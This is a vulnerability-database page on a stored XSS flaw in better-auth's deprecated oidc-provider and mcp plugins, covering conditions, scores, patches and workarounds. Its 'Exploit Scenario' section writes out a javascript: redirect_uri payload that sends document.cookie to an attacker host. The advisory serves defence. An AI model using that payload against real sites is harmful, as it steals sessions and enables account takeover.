Skip to main content

better-auth CVE-2026-67333

| EUVDEUVD-2026-51810 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-01 VulnCheck GHSA-w277-2xmj-j2rc
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register OAuth client with javascript: redirect_uri
  2. Delivery
    Auth server stores URI without scheme validation
  3. Exploit
    Victim initiates authorization flow with malicious client
  4. Install
    Consent page assigns returned redirectURI to window.location.href
  5. C2
    Attacker JavaScript executes in auth-server origin
  6. Execute
    Session tokens exfiltrated to attacker server
  7. Impact
    Account takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all three of the following conditions to hold simultaneously: (1) the application has the oidc-provider plugin or mcp plugin enabled - not the newer @better-auth/oauth-provider; (2) the better-auth version is 1.6.12 or earlier on the stable line, or 1.7.0-beta.0 through 1.7.0-beta.3 on the pre-release line; and (3) the consent page is a client-side browser component that reads the redirectURI field from authClient.oauth2.consent() and assigns it directly to a navigation target such as window.location.href, location.assign(), or location.replace(). In the default configuration (allowDynamicClientRegistration: false), the attacker must also hold at least a low-privileged authenticated account to register the malicious client. If allowDynamicClientRegistration is set to true (non-default opt-in), client registration is unauthenticated and any visitor can plant the malicious client. Exploitation is not possible when: the consent flow uses a server-side redirect; the consent page implementation matches the project's consent-buttons.tsx demo (which reads a uri field the plugin never returns); or the application uses @better-auth/oauth-provider.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/SC:L/SI:L) places this at 5.1 - moderate - driven primarily by the required user interaction (victim must visit the consent page) and the low subsequent-system impact metrics. The PR:L metric reflects the default configuration where client registration requires authentication; however, the advisory confirms that if allowDynamicClientRegistration is set to true (a non-default opt-in), client registration becomes unauthenticated, effectively lowering the privilege bar to PR:N and meaningfully raising real-world risk for those deployments. The impact is a stored XSS in the authorization-server origin, which is high-value: that origin holds session tokens and consent state. No EPSS score, KEV listing, or confirmed POC was provided in the source data, so exploitation probability cannot be quantified beyond the CVSS signal. The combination of stored persistence, account-takeover potential, and the non-default configuration that enables unauthenticated planting means that affected deployments - particularly those exposing the consent page to end users with dynamic registration enabled - should treat this as a higher practical priority than the moderate base score alone suggests. Deployments using server-side redirects, @better-auth/oauth-provider, or the project's sample consent-buttons.tsx are not affected, substantially reducing the real-world population at risk.

Exploit ScenarioDerived

An attacker registers an OAuth client - either unauthenticated if allowDynamicClientRegistration is true, or as a low-privileged authenticated user - supplying javascript:fetch('https://attacker.example/steal?c='+document.cookie) as the redirect_uri value. When a victim user initiates an authorization flow involving that client and reaches the consent page, the page's client-side code reads the redirectURI from the authClient.oauth2.consent() response and assigns it to window.location.href, immediately executing the attacker's payload in the authorization-server origin. The script exfiltrates the victim's session cookies or tokens to the attacker's server, enabling full account takeover without any further interaction. No public POC has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 01, 2026

Stored XSS in better-auth's deprecated oidc-provider and mcp plugins allows an attacker to register an OAuth client with a javascript: redirect_uri, which the authorization server stores and later returns unchanged in the consent response. If the deployment's consent page is a client-side component that assigns the returned redirectURI to window.location.href or equivalent, the attacker's JavaScript executes in the authorization-server origin - exposing the victim's session tokens and enabling account takeover. No public exploit or CISA KEV listing has been identified; the CVSS 4.0 score of 5.1 reflects required user interaction and limited subsequent-system impact, though deployments with unauthenticated dynamic client registration face elevated real-world risk.

RemediationAI

Vendor-released patches are available: upgrade to better-auth 1.6.13 on the stable line or 1.7.0-beta.4 on the pre-release line; both fix the missing URI scheme validation at client registration time. Advisory: https://github.com/better-auth/better-auth/security/advisories/GHSA-86j7-9j95-vpqj. If an immediate upgrade is not possible, three workarounds reduce or eliminate exposure: first, migrate from the deprecated oidc-provider or mcp plugin to @better-auth/oauth-provider, which does not carry this defect; second, modify the consent page to complete the OAuth flow using a server-side redirect (e.g., a Next.js or Remix server action) rather than assigning the redirectURI to window.location.href - browsers do not evaluate javascript: URIs delivered in HTTP Location headers; third, if allowDynamicClientRegistration is currently set to true, disabling it restricts client registration to authenticated users only, significantly limiting the attacker's ability to plant a malicious client without an existing account. Note that the second workaround requires a consent-page code change and must be verified against the specific framework in use.

Affected VersionsENISA

better-auth 0 <1.6.13
better-auth 1.7.0-beta.0 <1.7.0-beta.4

Affected Packages

npm better-auth fix: 1.6.13, 1.7.0-beta.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

better-auth is a TypeScript/Node.js authentication library distributed via npm, providing drop-in OAuth 2.0 and OpenID Connect server capabilities. The vulnerability resides in the deprecated oidc-provider plugin and its wrapper mcp plugin (cpe:2.3:a:better-auth:better-auth:*:*:*:*:*:*:*:*), both of which implement client registration without validating the URI scheme of submitted redirect_uris. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: untrusted attacker-controlled data is stored server-side and later reflected into a browser navigation context without sanitization. The javascript: URI scheme is a well-known XSS vector that browsers evaluate when assigned to location properties. The newer @better-auth/oauth-provider package, which is the migration target for both affected plugins, is not vulnerable. The defect is independent of any specific frontend framework - any consent page that performs client-side navigation using the returned URI value is susceptible.

Know when Better Auth gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

PR:L reflects default authenticated registration; S:C and C:L/I:L capture cross-origin session exposure via stored XSS; UI:R for required victim consent-page visit.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Aug 01, 2026 - 13:01 EUVD

DescriptionCVE.org

better-auth before 1.6.13 (and pre-release builds 1.7.0-beta.0 through 1.7.0-beta.3) fail to validate the scheme of redirect_uris registered via the deprecated oidc-provider plugin and the mcp plugin (which wraps the same provider). An attacker can register an OAuth client with a javascript: redirect_uri, which the authorization server later returns unchanged in the consent response. If the deployment's consent page navigates the browser to the returned redirectURI (e.g. assigning it to window.location.href), the attacker's JavaScript executes in the authorization-server origin, exposing the victim's session and enabling account takeover.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Medium
growing npm auth library, adoption increasing but not yet dominant
Social Media
3
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2024-56734 HIGH POC
7.9 Dec 30

Better Auth is an authentication library for TypeScript. Rated high severity (CVSS 7.9), this vulnerability is remotely

CVE-2026-41427 HIGH POC
7.1 Apr 24

Authorization bypass in the @better-auth/oauth-provider plugin for Better Auth (versions >= 1.4.8-beta.7 and < 1.6.5, pl

CVE-2026-67330 CRITICAL
9.4 Aug 01

Privilege-escalating account takeover in the @better-auth/scim plugin (versions 1.4.0-beta.27 through 1.6.21 and 1.7.0-b

CVE-2026-67336 CRITICAL
9.4 Aug 01

Authentication bypass in Better Auth before 1.6.11 stems from insecure cryptographic defaults in the legacy oidcProvider

CVE-2025-71401 CRITICAL
9.3 Aug 02

Denial of service in Better Auth (npm) before 1.4.2 lets an unauthenticated remote attacker poison the router's base pat

CVE-2026-114607 CRITICAL
9.1 Oct 22

Unauthenticated OAuth state values can be redeemed as Magic Link tokens in Better Auth 1.4.0-beta.18 through 1.7.6, lett

CVE-2026-110864 CRITICAL
9.1 Oct 14

Authentication bypass in Better Auth's OAuth Proxy plugin (versions 1.5.0-beta.12 through 1.7.6) lets unauthenticated re

CVE-2025-71399 HIGH
8.8 Aug 02

Path normalization bypass in Better Auth before v1.4.5 allows unauthenticated remote attackers to circumvent `disabledPa

CVE-2026-67331 HIGH
8.7 Aug 01

Authorization bypass in @better-auth/scim versions 1.5.0 through 1.7.0-beta.3 allows any authenticated user to fully tak

CVE-2026-67327 HIGH
8.7 Aug 01

Pre-account hijacking in better-auth (npm) allows a remote attacker to gain persistent, password-based access to any vic

CVE-2026-67328 HIGH
8.6 Aug 01

Multiple authentication bypass vulnerabilities in @better-auth/sso before version 1.6.21 enable low-privileged attackers

CVE-2026-80192 HIGH
8.6 Aug 25

Two domain-ownership authentication bypass flaws in @better-auth/sso allow authenticated organization owners to compromi

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy